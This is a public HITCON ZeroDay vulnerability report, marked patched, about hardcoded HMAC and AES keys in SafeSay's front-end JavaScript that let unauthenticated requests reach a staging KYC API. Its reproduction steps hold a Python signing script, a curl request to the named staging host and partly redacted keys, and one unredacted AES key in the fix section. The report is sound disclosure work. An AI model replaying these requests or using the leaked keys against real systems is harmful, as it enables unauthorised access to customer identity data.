Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2026-00612
- Vendor: 互動資通股份有限公司
- Title: 互動資通 SafeSay 前端 JS bundle 硬編碼 HMAC-SHA256 金鑰 + AES 加密金鑰(Staging KYC API 認證繞過)
- Introduction: 某企業即時通訊 SaaS 平台的前端 JavaScript bundle 以明文硬編碼兩個密鑰:(1) HMAC-SHA256 簽名密鑰(用於 KYC API 的 `X-Signature` 請求驗證),(2) AES 加密金鑰(用於 localStorage 敏感 token 加密)。攻擊者從公開可存取的前端 bundle 即可提取上述密鑰,無需任何帳號或認證。使用硬編碼 HMAC 密鑰,Staging 伺服器的 KYC API 在無任何 session token 的情況下即通過驗證(HTTP 424
- 感謝函
處理狀態
目前狀態
公開
Last Update : 2026/07/09
-
新提交
-
已審核
-
已通報
-
已修補
-
已複測
-
公開
處理歷程
- 2026/04/30 18:14:19 : 新提交 (由 罐頭 更新此狀態)
- 2026/05/05 00:21:36 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/05/27 15:30:56 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/05/27 15:30:56 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/05/27 15:30:57 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/06/26 15:27:08 : 修補中 (由 組織帳號 更新此狀態)
- 2026/06/26 17:07:03 : 複測申請中 (由 組織帳號 更新此狀態)
- 2026/07/02 09:03:53 : 未修補完成 (由 罐頭 更新此狀態)
- 2026/07/02 15:48:22 : 複測申請中 (由 組織帳號 更新此狀態)
- 2026/07/08 11:08:58 : 確認已修補 (由 罐頭 更新此狀態)
- 2026/07/09 03:00:03 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2026-00612
- 通報者:guan4tou2 (罐頭)
- 風險:中
- 類型:資訊洩漏 (Information Leakage)
參考資料
攻擊者可利用洩漏資訊進行下一步攻擊行為。
OWASP 漏洞說明 (Top 10 2017 - A3 Sensitive Data Exposure)
https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure
CWE-200 漏洞說明
https://cwe.mitre.org/data/definitions/200.html
OWASP 漏洞說明 (Top 10 2017 - A3 Sensitive Data Exposure)
https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure
CWE-200 漏洞說明
https://cwe.mitre.org/data/definitions/200.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
https://stage.safesay.net/static/js/index.Cxb-sAmW.js
https://sbapi.safesay.net/v2/saas/kyc/company
https://bapi.safesay.net/v2/saas/kyc/company
https://uat-safesay-e8dapi.e8d.tw/v2/saas/kyc/company
https://sbapi.safesay.net/v2/saas/kyc/company
https://bapi.safesay.net/v2/saas/kyc/company
https://uat-safesay-e8dapi.e8d.tw/v2/saas/kyc/company
敘述
漏洞概述
SafeSay 前端 JavaScript bundle 硬編碼兩個密鑰:
- HMAC-SHA256 簽名密鑰:
terguhjzv3tiyojco6q9sg96.......- 用於
/v2/saas/kyc/company和/v2/saas/kyc/contactAPI 請求的X-Signature驗證
- 用於
- AES 加密金鑰:
SAAS_ENC.......(從 bundle 中 base64U0FBU19FTkNSWV......解碼)- 用於 localStorage AES 加密/解密(
saas_vtJWT、access_token等敏感 token)
- 用於 localStorage AES 加密/解密(
進一步驗證:Staging 服務器(sbapi.safesay.net)在使用上述 HMAC 密鑰簽名後,無需 session token 即可通過 KYC API 驗證(HTTP 424,而非 401),確認 staging authentication bypass。
重現步驟(Live verified: 2026-04-29)
步驟 1:從 JS bundle 提取 HMAC 密鑰
// stage.safesay.net/static/js/index.Cxb-sAmW.js(2026-04-30 更新,舊 bundle index.B-XmViJg.js 已失效)
// fetchKycCompanyApi 函式(搜尋 "X-Signature"):
const t = "terguhjzv3tiyojco6q9sg96nw674d.........";
const r = JSON.stringify(e);
const a = CryptoJS.HmacSHA256(r, t).toString(CryptoJS.enc.Hex);
const o = await api$1.post("/v2/saas/kyc/company", e, {headers: {"X-Signature": a);
// AES 金鑰(搜尋 "ENCRYPT_SECRET"):
ENCRYPT_SECRET = gBase64.decode("U0FBU19FTkNSW........")
// = "SAAS_ENCR......"
步驟 2:計算 HMAC-SHA256 簽名
import json, hmac, hashlib
SECRET = 'terguhjzv3tiyojco6q9sg96n.....'
body = {'kycCompanyID': '1'}
body_str = json.dumps(body, separators=(',', ':'))
sig = hmac.new(SECRET.encode(), body_str.encode(), hashlib.sha256).hexdigest()
print(sig)
# → fd4d804a5158f80214fc8fe529fbe73.......
步驟 3:無 session token 請求 Staging KYC API
curl -sk -X POST "https://sbapi.safesay.net/v2/saas/kyc/company" \
-H "Content-Type: application/json" \
-H "X-Signature: fd4d804a5158f80214fc8fe5......" \
-d '{"kycCompanyID":"1"}'
Staging 回應:
{"msg":"失敗的依賴"}
HTTP 424 — 通過 HMAC 驗證,外部 KYC 服務查無此公司
對比生產(bapi.safesay.net)相同請求回應:
{"msg":"未經授權"}
HTTP 401 — 生產需要 session token + HMAC
步驟 4:AES 金鑰確認
import base64
base64.b64decode("U0FBU19FTkNS.....").decode()
# → 'SAAS_ENC......'
此金鑰用於 CryptoJS.AES.encrypt/decrypt(data, "SAAS_ENC.....") 加密 localStorage 中的 saas_vt(登入驗證 token)、access_token 等敏感項目。
已驗證影響(Verified)
- ✅ HMAC-SHA256 金鑰從公開 JS bundle 提取(無需任何認證)
- ✅ Staging
sbapi.safesay.netKYC API 使用 HMAC 金鑰在無 session 情況下通過驗證(HTTP 424 vs 401) - ✅ UAT
uat-safesay-e8dapi.e8d.twKYC API 同樣使用相同 HMAC 金鑰通過驗證(HTTP 424,2026-04-29 追加確認) - ✅ AES 金鑰
SAAS_ENCRY........確認(可解密任意 SafeSay localStorage 加密項目)
潛在影響(Potential)
- 攻擊者使用 HMAC 密鑰可對 staging KYC API 提交任意公司查詢
- AES 金鑰洩漏:取得 SafeSay 用戶 localStorage 的攻擊者(如透過 XSS)可解密
saas_vtJWT 和access_token - 若 staging 使用相同 KYC 資料庫,可枚舉 kycCompanyID 存取客戶 KYC 資料
漏洞根因
- 前端 JS bundle 包含伺服器端 HMAC 簽名密鑰(應只在伺服器端保存)
- AES 加密金鑰 hardcoded 在 JS bundle 中(客戶端加密形同無加密)
- Staging 伺服器驗證邏輯與生產不同,僅要求 HMAC 而不要求 session token
修補建議
1. 立即:從前端 JS bundle 移除 HMAC 密鑰;改為伺服器端簽名(前端只傳請求體,伺服器端計算 HMAC)
2. 立即:輪換 HMAC 密鑰(`terguhjzv3ti...`)和 AES 密鑰(`SAAS_ENCRYPT_SALT_2026`)
3. 短期:Staging 和生產服務器統一驗證邏輯(staging 也應要求 session + HMAC 雙重驗證)
4. 短期:不要依賴客戶端 AES 加密保護敏感 token(改用 HttpOnly cookie)
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。